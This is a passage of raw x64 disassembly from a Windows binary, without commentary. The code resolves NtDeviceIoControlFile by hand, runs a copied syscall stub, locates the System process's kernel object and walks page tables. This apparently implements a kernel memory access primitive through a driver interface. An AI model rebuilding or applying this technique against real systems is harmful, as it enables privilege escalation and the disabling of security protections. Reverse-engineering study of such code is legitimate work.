movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xde4]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xde4], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x60]
lea rax, [rbp + 0x738]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x738]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xe70]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xde4]
lea r9, [rbp + 0xde4]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14006fc3e
mov rbx, qword [rbp + 0xc40]
mov r15d, 0x5a4d
mov rax, qword [rsp + 0x78]
sub rbx, r13
mov rdi, qword [rbp + 0xc38]
add rax, r13
mov rcx, qword [rsp + 0x50]
mov qword [rbp + 0xc40], rbx
mov qword [rsp + 0x78], rax
test rbx, rbx
jne 0x14006e050
mov rsi, qword [rbp + 0xc30]
jmp 0x14006fc49
xor esi, esi
mov qword [rsp + 0x50], rsi
lea rcx, str.EProcess_2:
mov qword [rbp - 0x50], rsi
lea rdx, [rbp - 0x50]
jmp 0x14006fd5f
lea rdx, [rbp - 0x48]
mov qword [rbp - 0x48], r14
lea rcx, str.QuerySystemEProcess:
call fcn.1400c0f40
mov edi, 0x10000
xor esi, esi
mov ecx, edi
mov qword [rsp + 0x50], rsi
call fcn.1401ab860
xor r9d, r9d
lea ecx, [rsi + 0x10]
mov r8d, edi
mov rdx, rax
mov rbx, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x14006fcd9
nop word [rax + rax]
add edi, edi
mov rcx, rbx
mov edx, edi
call fcn.1401acd00
xor r9d, r9d
mov r8d, edi
mov rdx, rax
mov rbx, rax
lea ecx, [r9 + 0x10]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x14006fcb0
test eax, eax
jns 0x14006fce4
mov qword [rsp + 0x50], rsi
jmp 0x14006fd50
xor edx, edx
cmp dword [rbx], edx
jbe 0x14006fd48
lea rcx, [rbx + 8]
nop
movups xmm1, xmmword [rcx]
movq rax, xmm1
shr rax, 0x20
movups xmmword [rbp + 0x9b8], xmm1
movsd xmm0, qword [rcx + 0x10]
movsd qword [rbp + 0x9c8], xmm0
cmp al, 7
jne 0x14006fd1d
movd eax, xmm1
cmp eax, 4
je 0x14006fd29
inc edx
add rcx, 0x18
cmp edx, dword [rbx]
jb 0x14006fcf0
jmp 0x14006fd48
lea rdx, [rbp + 0x9c0]
lea rcx, str.System_Object:
call fcn.1400c1130
mov rsi, qword [rbp + 0x9c0]
mov qword [rsp + 0x50], rsi
mov rcx, rbx
call fcn.1401a6090
mov qword [rbp - 0x40], rsi
lea rcx, str.EProcess_1:
lea rdx, [rbp - 0x40]
call fcn.1400c1130
test rsi, rsi
je 0x1400718b2
mov rcx, qword [rsp + 0x70]
xor eax, eax
movabs rdx, 0xfffffffff000
mov qword [rbp + 0xc30], 0
and rcx, rdx
mov qword [rbp + 0xc40], 8
mov qword [rbp + 0xc38], rcx
mov qword [rsp + 0x78], rax
nop dword [rax]
nop word [rax + rax]
add rax, qword [rbp - 0x60]
xor edx, edx
mov r13d, dword [0x140322b68]
add rax, rsi
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
shr rax, 0x27
and eax, 0x1ff
mov qword [rbp + 0x770], 0
lea r8d, [rdx + 1]
mov qword [rbp + 0x778], 0
mov qword [rbp + 0x780], 0
movups xmmword [rbp + 0xe80], xmm0
lea rax, [rcx + rax*8]
mov qword [rbp + 0x760], 8
mov qword [rbp + 0x768], rax
lea rcx, [0x1401fded8]
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x68], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov r15d, 0x5a4d
test rax, rax
je 0x14006fea8
cmp word [rax], r15w
jne 0x14006fea8
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14006fea8
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14006fea8
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x14006fea2
nop dword [rax + rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x14006ff68
inc rbx
cmp rbx, r14
jb 0x14006fe80
mov r15d, 0x5a4d
mov rbx, qword [rbp + 0x778]
test rbx, rbx
je 0x1400718b8
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x68], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x1400702e7
cmp word [rax], r15w
jne 0x1400702e7
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x1400702e7
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x1400702e7
mov r12d, dword [rax + 0x1c]
xor edi, edi
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x1400702e7
nop
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x14007012e
inc rdi
cmp rdi, r15
jb 0x14006ff40
jmp 0x1400702e7
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x14006fea2
mov esi, dword [rcx + 4]
test esi, esi
js 0x14006fea2
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x3fa04], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x3e680]
call fcn.1400be1b0
lea rcx, [rbp + 0x3e680]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
nop dword [rax + rax]
lea rcx, [rbp + 0x3e680]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x94fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140070000
mov r8d, 0x1000
lea rdx, [rbp + 0x94fe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xde8]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xde8], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x68]
lea rax, [rbp + 0x760]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x760]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0xe80]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xde8]
lea r9, [rbp + 0xde8]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
mov r15d, 0x5a4d
test ebx, ebx
js 0x1400718b8
jmp 0x14006fea8
movzx eax, word [r13 + rdi*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x1400702e7
mov esi, dword [rcx + 4]
test esi, esi
js 0x1400702e7
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x40d94], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x3fa10]
call fcn.1400be1b0
lea rcx, [rbp + 0x3fa10]
call fcn.1400b7000
mov r14d, eax
movabs rax, 0xc0906c513cedb3
mul r14
mov ecx, r14d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r14, rax
xor edi, edi
lea rcx, [rbp + 0x3fa10]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0x95fe0], rax
inc rdi
cmp rdi, 0x200
jl 0x1400701c1
mov r8d, 0x1000
lea rdx, [rbp + 0x95fe0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rdi, [r14 + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xdec]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xdec], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x68]
lea rax, [rbp + 0x760]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x760]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xe80]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0xdec]
lea r9, [rbp + 0xdec]
mov edx, 0x1000
mov rcx, r15
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test edi, edi
js 0x1400718b2
test bl, 1
je 0x1400718b2
mov rax, qword [rsp + 0x60]
movabs rcx, 0xffffffffff000
mov r13d, dword [0x140322b68]
and rbx, rcx
shr rax, 0x1e
lea rcx, [0x1401fded8]
and eax, 0x1ff
mov qword [rbp + 0x798], 0
xor edx, edx
mov qword [rbp + 0x7a0], 0
xorps xmm0, xmm0
mov qword [rbp + 0x7a8], 0
movups xmmword [rbp + 0xe90], xmm0
lea rax, [rbx + rax*8]
mov qword [rbp + 0x788], 8
mov qword [rbp + 0x790], rax
lea r8d, [rdx + 1]
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x68], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov r15d, 0x5a4d
test rax, rax
je 0x1400703e8
cmp word [rax], r15w
jne 0x1400703e8
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x1400703e8
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x1400703e8
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x1400703e2
nop
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x1400704a8
inc rbx
cmp rbx, r14
jb 0x1400703c0
mov r15d, 0x5a4d
mov rdi, qword [rbp + 0x7a0]
test rdi, rdi
je 0x1400718b8
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rdi, qword [rdi]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x68], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x140070827
cmp word [rax], r15w
jne 0x140070827
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x140070827
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x140070827
mov r12d, dword [rax + 0x1c]
xor ebx, ebx
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x140070827
nop
mov ecx, dword [r14 + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x14007066e
inc rbx
cmp rbx, r15
jb 0x140070480
jmp 0x140070827
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x1400703e2
mov esi, dword [rcx + 4]
test esi, esi
js 0x1400703e2
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x42124], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x40da0]
call fcn.1400be1b0
lea rcx, [rbp + 0x40da0]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
nop dword [rax + rax]
lea rcx, [rbp + 0x40da0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x96fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140070540
mov r8d, 0x1000
lea rdx, [rbp + 0x96fe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xdc0]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xdc0], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x68]
lea rax, [rbp + 0x788]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x788]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0xe90]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xdc0]
lea r9, [rbp + 0xdc0]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
mov r15d, 0x5a4d
test ebx, ebx
js 0x1400718b8
jmp 0x1400703e8
movzx eax, word [r13 + rbx*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x140070827
mov esi, dword [rcx + 4]
test esi, esi
js 0x140070827
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x434b4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x42130]
call fcn.1400be1b0
lea rcx, [rbp + 0x42130]
call fcn.1400b7000
mov r14d, eax
movabs rax, 0xc0906c513cedb3
mul r14
mov ecx, r14d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r14, rax
xor ebx, ebx
lea rcx, [rbp + 0x42130]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x97fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140070701
mov r8d, 0x1000
lea rdx, [rbp + 0x97fe0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [r14 + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xdf0]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xdf0], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x68]
lea rax, [rbp + 0x788]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x788]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xe90]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xdf0]
lea r9, [rbp + 0xdf0]
mov edx, 0x1000
mov rcx, r15
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x1400718b2
test dil, 1
je 0x1400718b2
movzx eax, dil
shr al, 7
test al, 1
je 0x14007085b
movabs rax, 0xfffffc0000000
and rdi, rax
mov rax, qword [rsp + 0x60]
and eax, 0x3fffffff
add rdi, rax
jmp 0x14007131b
mov rax, qword [rsp + 0x60]
movabs rcx, 0xffffffffff000
mov r13d, dword [0x140322b68]
and rdi, rcx
shr rax, 0x15
lea rcx, [0x1401fded8]
and eax, 0x1ff
mov qword [rbp + 0x7c0], 0
xor edx, edx
mov qword [rbp + 0x7c8], 0
xorps xmm0, xmm0
mov qword [rbp + 0x7d0], 0
movups xmmword [rbp + 0xea0], xmm0
lea rax, [rdi + rax*8]
mov qword [rbp + 0x7b0], 8
mov qword [rbp + 0x7b8], rax
lea r8d, [rdx + 1]
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x68], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov r15d, 0x5a4d
test rax, rax
je 0x140070958
cmp word [rax], r15w
jne 0x140070958
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x140070958
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x140070958
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x140070952
nop dword [rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140070a18
inc rbx
cmp rbx, r14
jb 0x140070930
mov r15d, 0x5a4d
mov rbx, qword [rbp + 0x7c8]
test rbx, rbx
je 0x1400718b8
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x68], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x140070d97
cmp word [rax], r15w
jne 0x140070d97
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x140070d97
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x140070d97
mov r12d, dword [rax + 0x1c]
xor edi, edi
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x140070d97
nop
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x140070bde
inc rdi
cmp rdi, r15
jb 0x1400709f0
jmp 0x140070d97
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x140070952
mov esi, dword [rcx + 4]
test esi, esi
js 0x140070952
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x44844], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x434c0]
call fcn.1400be1b0
lea rcx, [rbp + 0x434c0]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
nop dword [rax + rax]
lea rcx, [rbp + 0x434c0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x98fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140070ab0
mov r8d, 0x1000
lea rdx, [rbp + 0x98fe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xdf4]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xdf4], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x68]
lea rax, [rbp + 0x7b0]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x7b0]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0xea0]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xdf4]
lea r9, [rbp + 0xdf4]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
mov r15d, 0x5a4d
test ebx, ebx
js 0x1400718b8
jmp 0x140070958
movzx eax, word [r13 + rdi*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x140070d97
mov esi, dword [rcx + 4]
test esi, esi
js 0x140070d97
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x45bd4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x44850]
call fcn.1400be1b0
lea rcx, [rbp + 0x44850]
call fcn.1400b7000
mov r14d, eax
movabs rax, 0xc0906c513cedb3
mul r14
mov ecx, r14d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r14, rax
xor edi, edi
lea rcx, [rbp + 0x44850]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0x99fe0], rax
inc rdi
cmp rdi, 0x200
jl 0x140070c71
mov r8d, 0x1000
lea rdx, [rbp + 0x99fe0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rdi, [r14 + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xdf8]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xdf8], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x68]
lea rax, [rbp + 0x7b0]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x7b0]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xea0]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0xdf8]
lea r9, [rbp + 0xdf8]
mov edx, 0x1000
mov rcx, r15
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test edi, edi
js 0x1400718b2
test bl, 1
je 0x1400718b2
movzx eax, bl
shr al, 7
test al, 1
je 0x140070dc4
mov rdi, qword [rsp + 0x60]
movabs rax, 0x3ffffffe00000
and edi, 0x1fffff
jmp 0x140071315
mov rax, qword [rsp + 0x60]
movabs rcx, 0x3fffffffff000
mov r13d, dword [0x140322b68]
and rbx, rcx
shr rax, 0xc
lea rcx, [0x1401fded8]
and eax, 0x1ff
mov qword [rbp + 0x7e8], 0
xor edx, edx
mov qword [rbp + 0x7f0], 0
xorps xmm0, xmm0
mov qword [rbp + 0x7f8], 0
movups xmmword [rbp + 0xeb0], xmm0
lea rax, [rbx + rax*8]
mov qword [rbp + 0x7d8], 8
mov qword [rbp + 0x7e0], rax
lea r8d, [rdx + 1]
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x68], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov r15d, 0x5a4d
test rax, rax
je 0x140070eba
cmp word [rax], r15w
jne 0x140070eba
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x140070eba
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x140070eba
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x140070eb4
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140070f79
inc rbx
cmp rbx, r14
jb 0x140070e92
mov r15d, 0x5a4d
mov rbx, qword [rbp + 0x7f0]
test rbx, rbx
je 0x1400718b8
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x68], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x1400712f7
cmp word [rax], r15w
jne 0x1400712f7
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x1400712f7
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x1400712f7
mov r12d, dword [rax + 0x1c]
xor edi, edi
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x1400712f7
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x14007113e
inc rdi
cmp rdi, r15
jb 0x140070f51
jmp 0x1400712f7
movzx eax, word [r12 + rbx*2]
